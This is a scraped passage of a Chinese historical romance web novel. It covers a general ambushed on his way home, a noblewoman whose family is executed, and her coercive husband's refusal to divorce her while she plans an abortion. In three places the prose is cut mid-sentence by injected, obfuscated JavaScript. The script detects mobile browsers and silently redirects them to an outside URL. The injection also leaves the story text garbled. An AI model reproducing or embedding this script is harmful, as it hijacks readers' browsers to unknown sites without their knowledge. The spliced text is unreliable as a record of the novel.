“还有异议吗？”靳愿抽回了刀，以锦帕拭去其上的血迹，动作漫不经心。好似被他杀死的，不是圣上派来监军的御史，而是猪羊之类的牲畜。 他凌厉的眼眸徐徐抬起，在帐内环视一周。被他目光触及之人，都觉寒毛卓竖，下意识垂首回避。 “既然没有，那便起营，即刻还朝。” 众将官领命退下，唯有秦毅留了下来。 靖国公从军十五年，而秦毅在他身边跟了十年——是他的心腹，亦是生死至交。 秦毅道：“公爷当真要反？” 靳愿的薄唇抿得极紧，将手中那封信递与他。 他迅速浏览一遍，皱眉问道：“怎么突然对褚家和张家下手了？是丞相党做的？” “不像。”靳愿道，“掐准了我不在的时候，以雷霆手段诛杀掌兵权的平远侯父子……这么险的一步棋，不像那老狐狸的作风。” 他话音愈沉：“幕后主使之人，恐怕是小皇帝。” 更何况，他此番出征西域，本就是皇帝所遣。 “平日里看着懦弱顺从，原来竟是在扮猪吃虎。” 秦毅了然颔首：“既要收张家的兵权，那下一步，就是您了。” “所以我不得不反。” “您与张侯爷为国南征北战，皇帝竟这般不念旧情，实在不仁！倒也怨不得我等不忠了！” “帝王心术，自古如此。” 秦毅道：“您手中掌大雍四分兵力，皇帝即便收回了张家的大军，一时之间也难以归心，您胜算颇大。不如今夜便举兵而反……” “阿眉尚在他们手中，待起兵的消息传过去，恐怕她性命危矣。”靳愿道，“我领一营精锐急行回京，你领大军后至，莫要举旗，只说是受我的命令还朝。即便秘密泄露，我也能赶在风声传到皇帝耳中之前，赶到长安城。” “您只领一营的兵力，若生变故，又该如何应对？” “我八岁披甲上阵，征战十五年，从死人堆里爬出来不知道多少回了。想拿下我，还没那么容易。况且事到如今，要保全阿眉和褚家，也没有别的法子了。” 他眉心微凝：“不过你的担忧确实在理，万一我当真事败身死，你便向皇帝归降，将一切罪责都推到我身上，莫要牵连自身。” “末将岂能苟且偷生，行此大不义之事！”秦毅疾声道，“昔日沙场之上，您救过我三回性命，如今方到了我报恩的时候！” “不，”靳愿道，“你活着，才能替我看顾好阿眉。” 言罢，他又嘱咐了诸多事宜。 秦毅只得一一应允下来。 靳愿点了兵，趁夜带着骑兵营离去，急急行往京城。 三日后，已至安西要道。 黑云掩住了月色，只能模糊看见行道的轮廓。先锋的军马正在疾驰，前蹄骤然被绊马索一拦——马儿失却了平衡，带着骑兵滚倒在地。 “公爷，不好，有埋伏！” 28. 第 28 章 伏兵不再隐藏身形，披坚执锐的军队如一条玄黑巨蟒，沿着行道两旁蜿蜒盘绕，将猎物围困在鳞尾之间。 敌军的数量远超靳愿所领的骑兵营，甚至是十倍不止——看来是有人算准了他的动向，调兵在此伏击。 靳愿毕竟征战多年，靠着赫赫军功得封国公，即便眼下变故陡生，仍极快地反应了过来。他扫了一眼敌我的兵力差距，瞬间有了决断。 他面沉如水，腰间长刀铮然出鞘，下令道：“众将士听令，变锥形阵，随我突围！” 一声喝罢，麾下精锐迅速聚拢，紧随于他身后。 他带头冲锋，极其骁勇；刃锋过处，血溅五步。伏兵重重包围，竟硬生生被他撕出一道裂口。 只可惜双方人数悬殊巨大，他所领的骑兵营如蝼蚁一般，渐渐被黑蟒收拢的蛇尾吞噬。 靳愿早已数不清手中长刀挥舞了多少下，那刀越来越沉，刀刃砍出了豁口。他身上的甲胄如同血染，衬得他更像是从地狱中爬出的恶鬼。 这是一场令人绝望的鏖战，敌军好似斩不尽、杀不绝，他杀完一批，总还有更多的兵力续上来。他强闯过处，满地尸骸堆积如山。跟在他身后的精锐折损得越来越多，他手中的力量渐渐衰微，可敌人还是密集得望不到尽头，仿佛沉沉黑云朝他们压过来。 信上发颤的字迹浮现在他眼前： “伏以血诚、泣告贤兄台前……恳请仁兄援手……若蒙俯允，虽结草衔环，粉身碎骨，亦难报万一……” 褚家和张家皆已落狱，行刑在即，她只怕忧惧惶恐至极。他连让她皱一下眉头都不舍得的小女娘，如今被人欺凌到这般境地。写给他的求援信中，句句哀恸，字字泣血。 原是他不好，怨他没能守护好她。 她身后已没了别的依傍，只剩下他了。她还在等着他回去，他绝不能……折在这里。 耳边杀声震天，眼前刀光血影，再这样耗下去，迟早被源源不断的敌人拖垮。他提刀挡住迎面而来的剑戟，暂作守势，略略调息；而后提气轻身，在马背上一踩借力，纵跃飞出—— 一位老者翩然而至，拦住他的去路。 靳愿历经久战，近乎力竭。稍微交手，便落了下风。 “是您。”他辨认了对方的容貌，自嘲一笑，知晓此番已再无生机。“晚辈何德何能，竟能劳动您亲自出手。” 六月初九，褚家与张家的死囚于东市问斩。 褚笑眉寄出的每一封信，全都石沉大海；向来对她无有不应的承望哥哥，到了如今这个局面，也并未给她任何回音。 时辰愈发地逼近午时。 盛夏的日头烤得人一阵阵发晕，褚笑眉发髻凌乱，簪钗斜斜地往下坠着。她拼力挣扎着，想要挣脱婢女们的束缚。 “让我出去！你们这些贱蹄子，都滚开……” 她原本是被关在屋内的，可她举着黄花梨木椅，砸开了紧锁的房门，硬生生闯了出来。院中的侍婢一拥而上，各自拉扯住她，将她控制在原地。 这些大户人家的侍女们，整治人是有一套的。不过这些手段常常用来管束不听话的下等婢女，如今既要用在主子身上，下手自然要轻得多——更何况，这位夫人腹中尚且有着尚书大人的骨肉，若有损伤，她们谁也担待不起。 故而她们只是反剪着她的手臂，将她压得微微俯身，好教她使不出反抗的力道来。 褚笑眉憋得脸都红了，仍旧挣不开分毫。她额上的汗水混杂着泪水淌下来，将散落的青丝乱七八糟地粘在颊边；上衣也早已被汗水浸透，带着滚烫的湿意紧紧贴着身体。整个人狼狈得很，哪里还有半点昔日高门贵女的模样？ 尤嬷嬷立在她近前，姿态恭顺地躬着腰，柔声解释道：“夫人，您别做无谓的抗争了。大人上朝前特地交代过，今日定要寸步不离地看好您。无论您怎么闹，奴婢都不可能放您出去。” 褚笑眉恶狠狠地瞪着她，恨不得将她生吞活剥了：“我爷娘就要被推上断头台，你们却把我关在府中，要我安生待着？再敢阻拦，信不信我将你们一个两个全都发卖了！” “这是大人的意思，您就别再为难奴婢了。” “呵，我为难你们？”褚笑眉似是听到什么极讽刺的事情，从鼻间嗤出一声。 她在江家做了大半年的当家主母，从未苛待过下人分毫，打赏时更是出手阔绰。即便有人犯了错，也不过训几句了事。正因她并未在府中立威，事到如今，无论她如何威胁恫吓，都没人拿她的话当一回事。 她怒极反笑：“你看看四周，究竟是谁在难为谁？” 她被十余名婢女围困着——有人拦住院门，有人钳制她的胳膊。她分明是这后院的主人，如今看来，却更像是此处的囚犯。 日晷上铜针的阴影已投到了午时。 “白虹！”她呼喊着自己的陪嫁婢女，嗓音嘶哑得厉害，“你还愣着干什么？动手啊！把她们都弄开！我要出府！我要去见我爷娘！” 白虹却仍静立在原处，出言劝道：“夫人，您就算现在过去，也改变不了什么了。” “混账东西！什么时候轮得到你来做主了？！”褚笑眉双目通红，哑着嗓子喝道，“这是我的命令！” “请恕奴婢……难以从命。”白虹缓缓垂下眼睫，避开了她的目光。 “放肆！褚家养你长大，教你习武，你就是这样报答的？！” “奴婢正是因为想保全夫人，才不能听您的吩咐。”白虹道，“褚家因贪墨坐罪，满门抄斩，只您一个已出嫁的女儿躲过一劫。您难道非要去法场闹一通，提醒圣上不该放过您？” “忘恩负义的狗东西！谁许你自作主张？！”褚笑眉的目光移向了另一名婢女，“青简，过来帮我！小臣一手将你教养出来，难道你也要弃他于不顾吗？” 青简的双眼早已泛红，眸中闪烁着泪光。她却紧紧抿着唇，强忍着没让眼泪落下，亦道：“夫人，白虹说的在理。郎君他……也会更希望您顾惜自己。” 晷针的影子悄然转动。 “又是这番话……又是劝我独善其身……”褚笑眉满眼悲戚，两行清泪滚落下来，“我恨透了这样。为什么我什么都做不了？为什么连你们也不站在我这边？” 这里是江府，她名义上虽是当家主母，可却没有一个人愿意听从她的吩咐；甚至连她自己带来的陪嫁侍女，都在违逆她的意思。 她曾经以为她是高不可攀的京城第一贵女，可原来她拥有的从来都不是权力，只是更高位者的宠爱。一旦身后没了依傍，就再也没人会拿她当回事。 事实上，她没有任何人可以恨，她只能恨她自己。从前种种贪图逸乐，都在这一刻反噬，成为她如今的无能为力。 她抬起红肿的双眸，望着身周的婢女们，语调卑微而破碎：“求求你们，就让我出去吧……让我去送爷娘最后一程……” 她甚至想要跪下乞求她们，可她们紧紧抓着她的手臂，她根本动弹不得。 泪水不断地涌出来，她的目光望向院中的日晷，透过模糊的视线，努力辨认其上的刻度。 时间渐渐流逝，她的语气愈发焦灼，情绪愈发崩溃，口中的恳求变成了无意义的嘶喊——可饶是她如何声嘶力竭，却也不过是徒劳。 直到那日影终究指向了午时三刻。 “啊——！！！！！”她痛苦的哭嚎惊起了枝头的飞鸟，鸟雀们扑扇着翅膀骤然飞至高空。 她哭喊着望向院墙，又好似透过眼前的高墙，望向了东市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444148|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的刑场。 她似乎看见爷娘与阿弟戴着枷锁，垂首露出脆弱的后颈。而那屠刀重重落下，斩断了她前半生所有的亲情与依恋。 她眼前一黑，终于晕了过去。 褚笑眉醒过来的时候，暮色已至，屋内点起了灯。江铭守在榻边，见她睁眼，冲她温文一笑：“醒了？可有何处不适？” 他伸手想要扶她坐起来，她却推开了他的手，自己撑着床榻艰难坐起。 “我阿爷阿娘怎么样了？已经被处决了……是吗？”她眼中已流不出泪了，好似今生的泪水都在这一日哭得干涸，唯有嗓音还喑哑得厉害。 “郎中说你悲恸过度，要好生休养。”江铭回避了她的问题。他招了招手，侍婢便将炉上的糯米阿胶粥盛入碗中，俯身呈了上来。 他接过花开并蒂纹青花瓷碗，舀起一勺药粥，吹凉了递至她唇边：“知道你不喜欢喝苦药，我特地让郎中开了药膳的方子。方才一直煨在炉上，小心烫。” 褚笑眉看着他，忽然觉得荒谬。 他分明害死了她全家，如今竟仍是一副若无其事、温柔体贴的模样，好似什么都没有发生，他们还是一对恩爱夫妻。 她抬手打翻了他手中的药碗，滚烫的药粥倾倒在他手背上，将他白皙的肌肤烫得通红。 他却连眉头也没蹙一下，毫不在意地拿起了那碗，搁置在旁边的矮几上。他用丝帕拭净手上的汤粥，叫婢女为她换上干净的锦被。 他这般风轻云淡的反应，越发刺痛了她。 她痛苦，她反抗，可在他面前，却好像只是闹脾气的狸奴，淘气地打翻了盛汤的瓷碗——所以他甚至都懒得同她计较。 譬如现在，他仍在柔声哄劝：“长欢现下没胃口？那我们等一阵再喝。” 长欢。 她还记得婚前那一日，他问她想要什么样的字。她羞得满脸通红，却仍旧仰着头，目光灼灼地望着他，珍而重之许下自己的心愿： “我名唤‘笑眉’，字不如就叫‘长欢’吧？” “往后愿与夫君——常生欢喜，举案齐眉。” 铮铮誓言犹在耳，不到一年的时间，已事过境迁、地覆天翻。如今回想起来，与他的种种恩爱缠绵，竟遥远得像是上辈子的事情。 甚至连她自己都难以理解，她当时怎会对他抱有那般浓烈的喜欢与热忱；而现在，看着面前这张脸，她只觉得憎恨与恶心。 “别叫我长欢，”她冷冷道，“这个字实在是令人作呕。” 江铭鸦睫一颤，垂眸掩去了眼底的情绪。他面上笑意有些僵硬，却维持着语调的和缓：“好，阿眉觉得不好听，我们回头另起一个。” “江铭，你还真是喜欢粉饰太平。” 江铭一怔。 自他们相识以来，这是她第一次连名带姓地叫他。 往日里即便她着恼了，也只是大声地喊他“江文颂”，或者佯作疏远地唤他“江尚书”。她虽然性子娇纵，对在意的人却极好，从来不会一时气愤，说出什么伤人的话。 在他们之间，在他勉力维系的平静之下，仿佛有什么正在悄然裂开。 褚笑眉目光冰冷，凌厉如出鞘的剑锋：“你既然做得出来，为什么不敢和我谈论褚家的事？你就是害得我家破人亡的元凶，如今还装出这副情真意切的样子给谁看？” “阿眉，若有的选，我也希望你平安喜乐。”他嗓音发涩，“可褚家作恶多端、鱼肉百姓，我……” “你那套天下大义的说辞，我已经听腻了，没兴致听你再重复一遍。”褚笑眉打断了他，“我不管你怎么想，你害死的是我至亲的家人，我这辈子都不会原谅你。” 她定定望着他，一字一句道：“江铭，我们和离吧。” 29. 第 29 章 “和离？”江铭眼瞳一震。 他没想到，会从她口中听到这个词。 少女初开的情窦热烈而诚挚，望向他的目光总是灼灼，芙蓉般的面颊浮着云霞。她自以为掩藏得极好，但眼神总忍不住落到檀郎身上，杏眸中的喜欢与依恋满得快要溢出来。 被这样的眼眸看着，好像周身都浸在微烫的温泉里，热意从肌肤熨帖到心底。让人只想拥着这汪池水放松地喟叹，一生也不要脱离。 可如今，这双暖泉般的眼睛竟冷了下来。 他从未见过她这样的眼神。 她该是娇纵的、羞赧的、嗔怒的……什么样的都好，总之不该是这样的。她眸中一派森寒冷意，像是将将化冻的江水，尚且混合着漂浮的冰，激得人寒毛乍起。 惶乱的情绪在心底磕磕碰碰，他强行地忽视了过去。开口时放柔了语调，似在哄劝她，亦或是这般劝慰自己： “阿眉，你只是太激动了。你先好好睡一觉，缓上一缓，我们再谈论此事，好不好？” “我很清楚我在说什么。江铭，你害死了我全家，我与你有不共戴天之仇。我如今对你没有爱，只有恨，我不可能和你同度余生。” 褚笑眉不给他回避的余地，定定地与他对视。她看透了他遮遮掩掩的疮口，毫不留情地伸手揭开，撕出淋漓的血肉。 连爱都炙热得烫手的人，恨意也同样浓烈而纯粹。 “你恨我？好，那便恨罢。” 恨也没什么不好的。 恨是爱里结出的最苦的果，比爱更加刻骨铭心。 他说服自己接受了这一切，尽量想表现得坦然，眉眼间仍不由自主地浮上悲戚。 抛开什么爱啊恨啊的，他们该谈论一些实际的问题。于是他柔声道：“我且问你，你一个女儿家离开了我，要怎么活下去？” “与你无关。” 她不做思考，冷冷地吐出了这几个字。 到底是被保护得太好的小女娘，一味地意气用事，从不考虑自己的退路。 他不一样——他走一步，算三步，看十步。他将可知的未来掌握在手中，消去那些不可知的变数。 她的幼稚与莽撞，又教他恢复了几分胜券在握的胸有成竹。 “无论你愿或不愿，现下我还是你的夫君，自然与我有关。”江铭平静地回她，“况且，你要和离，还需我应允，不是吗？你若答得上来，我便允你。” “家中为我置办的陪嫁，足够我一生衣食无忧。” 这个答案，果真同他料想的一样天真。 江铭轻轻摇头：“阿眉，你不知世道险恶。一名没有父亲和丈夫可依傍的妇人，偏又身家巨富，你以为会有什么好结果？ “你要如何保全自身，又要如何养大腹中这个孩子？” 似是听到了极好笑的事情，褚笑眉蓦地嗤出一声嘲弄的轻笑：“事到如今，你居然还觉得我会为你生儿育女？待我们和离，我腹中这个孽种，自然要……” “孽种？”江铭被这个词刺痛，不待她说完便打断了她，一把攥住了她的手腕。他手上使的力道极大，捏得她生疼。 可她没有喊疼。 他失控的、痛楚的模样反而愉悦了她，她探究地望着他，唇角勾着一抹讽刺的笑意，好似在问他——连你这样的人，也会有在意的血脉之情吗？ 她眸中映着烛火与他的模样，那烛光一下一下跳动着，好似锋利的剑芒，一刀一刀割开他的身影。 他在这样的眼神下溃不成军，落败地松开她，手上仍发着抖。 江铭蜷起指节，将颤抖的手指紧紧扣在拳中：“阿眉，别说这样的话，孩子是无辜的。” “啪！”重重的一巴掌扇过来，他白皙的脸上立即浮现出几道清晰的指印。 他被打得偏过头去，几缕青丝散落下来，显出些许的狼狈之态；又徐徐抬眸，望向眼前的她。 御街初见时，他也是这样看着她。 只是那时的他，尽管被榜下捉婿的人追赶得狼狈，仍不掩年少中第的意气风发。而高门贵女身着锦绣织金的窄袖胡服，坐在汗血宝马上睥睨着他。金风玉露，一见难忘。 不像现在。 她瘦得厉害了，精神难免有些萎靡，眸中翻涌的恨意却反而愈发浓烈。江铭的脸色苍白更甚，衬得他眉目浓黑如画，双眼和颊上的掌印红得惊人，绯艳而惊心动魄。 “呵，孩子无辜，那你无辜吗？你倒有脸来同我说这番话。”她喑哑声音中夹杂着冷笑，“我告诉你，这孽种流着你一半的血，我绝不会让它活着出世。” “是我铸成大错，阿眉合该恨我的……只是别迁怒这个孩子，好吗？”他再度拉起她的手，贴在自己红肿的左脸上，近乎是在向她乞求。“阿眉若不解气，尽管多打几下。或者有别的惩罚，我都甘愿领受。” 他脸上被她打过的地方发着烫，她扇那巴掌时用了十足十的力道，以至于她的掌心也有些红肿。两处相似的、同源而生的滚烫贴在一处，热络得仿佛要一起淌进血脉里去，泥淖般扯不开、甩不掉。 褚笑眉用力抽回手，掌心似乎还残留着他肌肤的触感。她嫌恶地蹙起眉，一字一句道：“江铭，你听好了——这孽种既在我腹中，是去是留，当然由我决定。” 她不欲再与他纠缠，出言催促：“你若没什么旁的话要说，就赶紧与我签下和离书。和你待在一起的每一刻，都让我觉得无比恶心。” 她向来率直，从前藏不住爱恋的那双眼眸，到了如今，满溢的厌恨更是不加掩饰。 江铭眸光一颤：“阿眉厌恶我，我可以同你分院而居，少在你面前出现。” 他是优秀的棋手、谋士，亦或者权臣。他退让半步，又提出他的筹码：“你若当真与我和离，此后恐难以独自生存，世上多得是你承受不住的风雨。倒不如继续做江夫人，我能给你提供必要的照顾与保护；除此以外，也会给你足够的自由。” “你不会觉得你提出的条件很诱人吧？”褚笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454153|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉嗤笑道，“江铭，你算个什么东西，用得着你来管我？” “我是你的夫君……” “你是我的仇人。”她冷声纠正道，“若不是你的所作所为，我何至于家破人亡？从今往后，我不想再与你有一丝一毫的瓜葛。我再问你最后一遍，这和离书，你签是不签？” 江铭泛红的眼眸盯住她，试图从她脸上搜寻出犹豫的痕迹。 ……可是没有，半点也没有。 是他忘了，下棋需得棋逢对手、各自筹谋。 她娇纵惯了，只依照自己的脾性行事，才不会坐在棋盘的另一边权衡利弊。不懂算计，不留后路，又不肯接招，实在是令人头疼。 江铭抿紧了唇，用力阖眸；再复睁开时，眼底已无多余的波澜。他定定地告诉她：“我不会签的。” “不仅如此，我还要提醒夫人一句话。”他黑眸沉沉，如同深不见底的池渊，直欲将她吞噬。 “你若同我和离，身份自会回归褚家——圣上已下过旨，要褚家满门抄斩。夫人不妨猜猜看，漏网之鱼的结局会是什么？” “你威胁我？！”她又惊又怒。 “夫人说是威胁，那便算是吧。”江铭轻轻一笑，指腹抚上她苍白的唇瓣。他指尖凉得瘆人，蹭过她肌肤时，像是毒蛇冰冷的鳞尾扫了过去。“夫人要想活命，还是趁早绝了和离的念头。” 他凝视着她的眼眸，看着恨意在她眼底扎根，恣意地生长。 没关系，就这样恨他吧。恨他也好。 但就像从小豢养的狸奴失却了捕猎的本领，千娇百宠的贵女一口银牙都快咬碎了，也不过恶狠狠诅咒一句：“江铭，你不得好死！” “药膳一直煨在炉上，夫人不想喝就不喝。”江铭恍若未闻，起身抚平衣摆的褶皱，冲她微微颔首，仍是一副君子端方的模样。“夫人如今既这般憎恶我，我就不在这儿碍眼了。” 言罢，他果真毫不留恋地迈出了房门。 屋内的暖黄烛光倾泻而出，落在他身上。随着他身后的门扉缓缓合拢，那亮光越来越窄，直至完全消失不见——光再也照不到他，他已全然地置身于黑暗中了。 他回过头，望向隐隐透着灯光的窗纸，自嘲般笑了笑。 他听见白虹在里面询问：“夫人，那药膳……” “别叫我夫人！”褚笑眉道，“不喝，我死不了。” 还真是桀骜不驯。 不过，翱翔的雄鹰都能被驯服，更何况一只自小娇养的猫儿？心气儿倒是高，只可惜连利爪都没有，拿什么反抗？ 他收回目光，抬步走出院落。 褚笑眉揭开茶壶，泼灭了炉中燃着的火：“让她们都下去。” 白虹与青简在她身边随侍多年，知道她是有话要说，不方便让旁人听见。二人对视一眼，抬手命令江府的侍女退下。 待目送她们离去后，白虹又检视了一番，确定四周再无闲杂人等，方才请示道： “娘子有何吩咐？” 30. 第 30 章 少女曾经白里透红、明如朝霞的容颜泛着蜡黄，脸颊向内凹陷下去，整个人瘦骨嶙峋的。如同千娇百艳的牡丹一朝开败，秾丽的颜色消退，显得干瘪而萎靡。 顶着这样一副虚弱的躯体，她眸中反而燃着跳动的亮光，好似白骨腐朽后化作的幽幽冥火，灼灼更甚从前： “去找些药来，我要落胎。” 江铭现下不肯与她和离，其余的都可徐徐图之，唯有这孩子……断不能再拖下去了。 白虹闻言一惊，劝道：“娘子如今无依无傍，更该生下这个孩子，稳固在江府的地位。” “我已决意与江铭一刀两断，为何还要考虑往后在江府如何？”褚笑眉道，“外头天高海阔，你眼里怎么偏偏只瞧得见留在后宅这一条路？” “奴婢是为娘子考量。这一条路，对娘子来说是最好的路。” 白虹的目光移向身侧好友：“青简，你也帮忙劝劝娘子。” 却听青简道：“奴婢赞同娘子所言。” “你……”白虹惊道，“你素来最是谨慎明理，怎会说出这样短视的话？” “我并非意气用事。” 青简解释道：“褚家与张家树大根深，竟能被江尚书一手覆灭；他为逼迫娘子留下，又以她性命相挟。可见此人心机颇深，且行事不择手段。 “他如今尚且愿意保全娘子，那以后呢，当真不会有再度背叛的那一天吗？” 白虹道：“依奴婢看来，大人对娘子情真意切，不似作伪。褚家之事，是为国计民生考量的不得已之举，大人内心想必也十分煎熬。” 青简微微蹙了眉，狐疑道：“你言语之中，为江尚书辩驳颇多。莫不是褚家一倒，你竟要去做那墙头草？” “你怎会这般揣度我？”白虹眸光一颤，满脸不可置信。 她直挺挺向褚笑眉跪下，铮铮道：“自娘子八岁起，奴婢便随侍在娘子身边，何曾有过二心？奴婢不忍娘子流离在外，吃许多苦头，这才力劝娘子留下。娘子若疑心，只管将奴婢打杀了，奴婢绝无怨言！” 褚笑眉望着她倔强的眼神，思绪倏忽被拉回到八岁那年—— 那时的白虹，刚被褚家采买回来，尚且只是一个负责庭院洒扫的下等婢女。 褚笑眉骑马玩耍时，马儿不知怎的失了控，发疯般地乱冲乱撞。仆役们惊惶失措，千钧一发之际，竟是白虹这个小丫头冲上前来，不顾自身安危，拽住缰绳勒停了马——同时，也被马儿踩断了腿。 褚父请了最好的郎中为她医治，所幸没落下病根。 褚父同她说：“若非你忠心护主，今日受伤的就是阿眉了。你有什么想要的奖赏，尽管提出来。” 白虹道：“奴婢想要习武，往后一直保护娘子。” 褚父应了下来，从那以后，她就成了褚笑眉的贴身侍婢。 “行了，”褚笑眉打断了二人的争论，伸手将白虹扶起。“我们现下身处江府，本就孤立无援，不可再起内讧。” 她轻轻拭去婢女眼角的湿润，柔声道：“你护我多年，我信得过你。” 白虹福身一礼，哽咽道：“能得娘子赤诚以待，奴婢虽肝脑涂地、亦死而无憾！” “别说什么死不死的，我们三个都要活下去。” 褚笑眉继续道：“至于落胎之事，我意已决，你莫要再劝。江府之中就有药房，我们得想法子弄些合用的药来。” 青简道：“奴婢粗通些药理，当归、川芎、红花、三七等活血之药，均有此效。奴婢可为娘子寻来——” “不可！”白虹出言劝阻，“娘子如今月份大了，若药性相冲，或剂量过大，恐有性命之虞。还是先请郎中看过……” 青简叹了口气：“江府的人将娘子看得这般紧，若真能请到郎中，我又怎会出此下策？” “郎中不能来，我们就出去找郎中。”白虹道，“奴婢轻功好，可避人耳目潜行出府，寻个郎中为娘子开一服落胎药，再偷偷将药带回。” 青简颔首道：“如此甚好，这个法子确实最为稳妥。” 褚笑眉握着白虹的手，仔细叮嘱：“你行动时当心些，若事有不成，我们再想别的法子，千万莫要逞强涉险。” 她抿了抿唇，眼眶有些泛红：“我家里人都死了，我只剩下你们俩了……你一定要保全自身，知道吗？” 白虹应道：“娘子放心。” 卯时上朝，江铭寅时便会出府，白虹选在他离开后动身。 褚笑眉等得焦灼，将绢帕翻来覆去地在手中绞着，时不时就问上一句：“白虹去了多久了？” 青简答道：“娘子莫急，才半个时辰，她应当在赶回的路上了。” 正值六月盛夏，长安城像个火炉，外头的蝉声吵得人耳朵疼。孕妇本就体热，褚笑眉又心中焦急，额头密布着细密的汗珠，刚用手帕拭去，旋即又沁出汗来。 如意纹黄花梨冰鉴冒着森森冷气，青简侍立在旁，持着缂丝花鸟团扇徐徐扇动，将凉风送至她颊边。 又等了两刻钟功夫，白虹终于回来了。她脸颊被晒得发红，面上带着笑意：“娘子，成了。” 青简见她两手空空，问道：“药呢？” “且先听我说完。”白虹道，“奴婢去的那家医馆，可代为炮制药丸。奴婢想着，煎药动辄需要几个时辰，如今四处皆是江尚书的耳目，很难不被发现。倒不如直接让他制成药丸，省去这一麻烦。” 青简点了点头：“你这番顾虑确实在理。那药丸制好需要多久？你是否还得再跑一趟？” “三日后申时，药童会将药丸送过来。东边院墙下有一处破洞，奴婢与他约在那里取药。” “难为你思虑得这般周全。”褚笑眉道，“今日辛苦你了，快好生歇歇吧。” 江铭散了衙，照例过来看她。 褚笑眉的脸色在瞥见他的瞬间垮了下来，毫不掩饰面上的厌恶。 他却恍若未见，径直到榻边坐下，从婢女手中接过团扇，轻轻为她扇凉：“听说你晚膳吃了三块透花糍，糕点虽好，也不可贪多。总还是要吃些荤素均衡的菜。” 褚笑眉死死盯着他，恨不能将他啖肉饮血。 江铭也不等她回答，自顾自地道：“我为我们的孩子拟了几个名字，阿眉挑挑看，喜欢哪一个？” “滚出去。”褚笑眉终于开口。 “好，先不说孩子的事。”他的呼吸有些发颤，“小喜也很想你。这些日子你不去看它，它连鱼干都不肯吃了……” 褚笑眉嗤笑出声：“连猫儿都会被你用来博取同情。江铭，你还真是卑劣。” 江铭那双狐狸眼泛了红，垂眸苦笑道：“阿眉恨我，自然看见的都是我的错处。” “罢了。”他起了身，向婢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474217|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女嘱咐道，“我今夜仍宿在书房，若夫人有任何不适，及时来禀我。” 三日后。 到了约定的申时，白虹正要去取药，恰好与江铭迎面撞见。 褚笑眉悚然一惊。这个时辰……他不该在衙门吗？ 尚书大人立在门前，挡住了婢女的去路。 “这是要去哪儿？”他问得轻描淡写，语气平静得像是在问晚膳吃了什么。眉目间却阴沉沉的，隐隐压抑着不悦。 白虹不动声色地道：“夫人嫌蝉声太吵，叫奴婢差人去捕蝉。” “成日在夫人耳边吵闹，扰得夫人心绪不宁。早该除去了。” 他招了招手，示意身后的管家跟上来：“宁管家有一道秘方，专治聒噪的小虫。白虹，劳烦你同他走一趟……” “你要对白虹做什么？！”褚笑眉喝道。 “夫人多虑了。”江铭笑了笑，“无缘无故的，我还会伤害她不成？难道说她做了什么错事，尚未被我发觉？” 这话四两拨千斤，褚笑眉不知该如何应付。 他这样的态度……她甚至都拿不准，他究竟是真的发现了什么，抑或是在诈她。 褚笑眉惊惶不定，只得道：“不必去了，我突然觉得这蝉声很好。白虹，回来。” “夫人方才还嫌吵，这么快就改主意了？” 褚笑眉紧张地攥紧了裙摆：“我有孕在身，孕妇总是反复无常的。” “也是。”江铭赞同道。 褚笑眉刚要松开紧绷着的那口气，却听得他又道：“既然反复无常，除蝉的法子还是要学的。以免什么时候，夫人突然又觉得蝉声吵了。” 他不再给她解释的机会，冷声吩咐：“宁管家，把人带走。” “等等！”褚笑眉急道，“白虹是我的婢女，没有我的同意，谁也别想带她走！” 江铭上前几步，俯身欺近了她：“夫人在怕什么？有什么秘密是不能让为夫知晓的？” “江铭，少来管我的事。” “好，都听夫人的。”江铭笑吟吟应下，撩起下袍落了座，“那让白虹为我斟一盏茶，总是可以的吧？” 茶壶却并不在屋内，青简方才去添茶，直到现在也没回来。褚笑眉暗道不好，恐怕是她回来时看见了江铭，发现白虹抽不开身，故而替她取药去了。 若此时让江铭察觉青简的行踪，可就糟了。 褚笑眉佯作镇定，冷声问道：“你到底想干什么？” “讨盏茶也要挨夫人训？为夫冤枉啊。”江铭道，“我只是想同夫人喝茶闲谈。” “我同你没什么好谈的。” “真可惜。既然夫人不想闲聊，那我就直入主题了——”江铭抬起眼帘，沉如深渊的眸子映出她的身影，徐徐问道，“你的另一名婢女，去了哪里？” “与你何干？” “夫人不说我也知晓。”只见江铭拊掌三下，两名家丁一左一右钳制着青简，将她押了进来，一把雪亮的大刀架在她脖颈上。 “大人，这是从青简身上搜到的。” 江铭接过一只有着“仁心堂”字样的青花瓷药瓶，揭开嗅了嗅，手指骤然蜷紧：“好重的麝香气味……” 瓷瓶被他“当啷”一声重重搁在方几上，他眼眸微眯，厉声喝问： “青简，你意图谋害夫人腹中的孩子，该当何罪？” 31. 第 31 